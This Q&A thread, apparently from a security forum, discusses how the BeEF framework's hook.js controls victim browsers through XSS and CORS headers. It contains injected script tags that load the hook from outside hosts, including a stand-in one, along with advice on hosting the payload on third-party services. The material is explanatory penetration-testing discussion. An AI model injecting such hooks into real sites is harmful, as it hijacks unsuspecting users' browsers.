4

I am studying BeEf XSS as I think it is a very interesting tool for a penetration tester, but I have a couple of doubts about it, in particular when linking it to Cross Domain Request.

So, in some way we are able to force the the user browser to include the following hmtl tag:

<script src="http://X.X.X.1:3000/hook.js"></script>

The browser does not complain about it, as the src attribute can contain any domain, not just the one that the user is surfing. Then, as I understand it, hook.js is not opening a port on the client as it is not supported by JS, but it pulls commands doing a XMLHttpRequest from the BeEF server (which is hardcoded in the hook.js).

Then it executes the commands in the browser and send back the result (of course there must be a sort of internal protocol that the BeEF server understands). The reason it works, is that the BeEF server sets the following items in the HTTP header:

HTTP/1.1 200 OK
Content-Type: text/javascript
Server: Apache/2.2.3 (CentOS)
Pragma: no-cache
Cache-Control: no-cache
Expires: 0
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST, GET
Content-Length: 412404
Connection: keep-alive

I sniffed this when trying everything in local, so basically there is the directive Access-Control-Allow-Origin by which the user browser will allow this communication.

Is my thinking correct?

Also, do you know if hook.js can be fetched from server A, but then pointing to Server B? Otherwise, you basically are showing the address of the machine in which the hook.js is hosted and also you must have access to that machine.

1
+50

You seem to be describing a CORS (Cross-Origin Resource Sharing) attack in conjunction with using the Beef framework. Here is a snippet from OWASP:

Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it is up to the client to determine and enforce the restriction of whether the client has access to the response data based on this header.

https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)

I do not quite understand the second question but I'm assuming you'd want to host the .js file elsewhere. Here is a rough overview of how it goes:

The victim has to be able to open your site, and the victim browser has to be able to load the .js file. This file contains malicious payloads that when loaded by a victim browser, gives you varying degrees of control and security breaches. The file can be either hosted on your web-server, or it can be hosted externally, on another server.

For example: <script src="http://someotherserviceorwebsite.com/hook.js"></script>

You do not need to have access to that machine - only the file has to be available.

There are a number of free services you can utilize to host your JS file for free.

I hope I understood your question correctly.

  • 1
    If hook.js is hosted in a host in which I do not have control, then how can I connect to beef, to check if clients are connected? – Edge7 May 8 '18 at 10:37
  • @Robert, so you're saying that if you put "hook.js" on some server and then you can add somewhere in the BeEF configuration on your computer server address like evil/hook.js and control all victims? I will need to play with this tool a bit, bu from my experience it's not that easy with this tool. Don't you actually need an http-tunneling BeEF-extension to do such things? Actually you need some sort of proxy which forwards http requests and responses over extra server. – Awaaaaarghhh Jul 11 '19 at 8:01

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.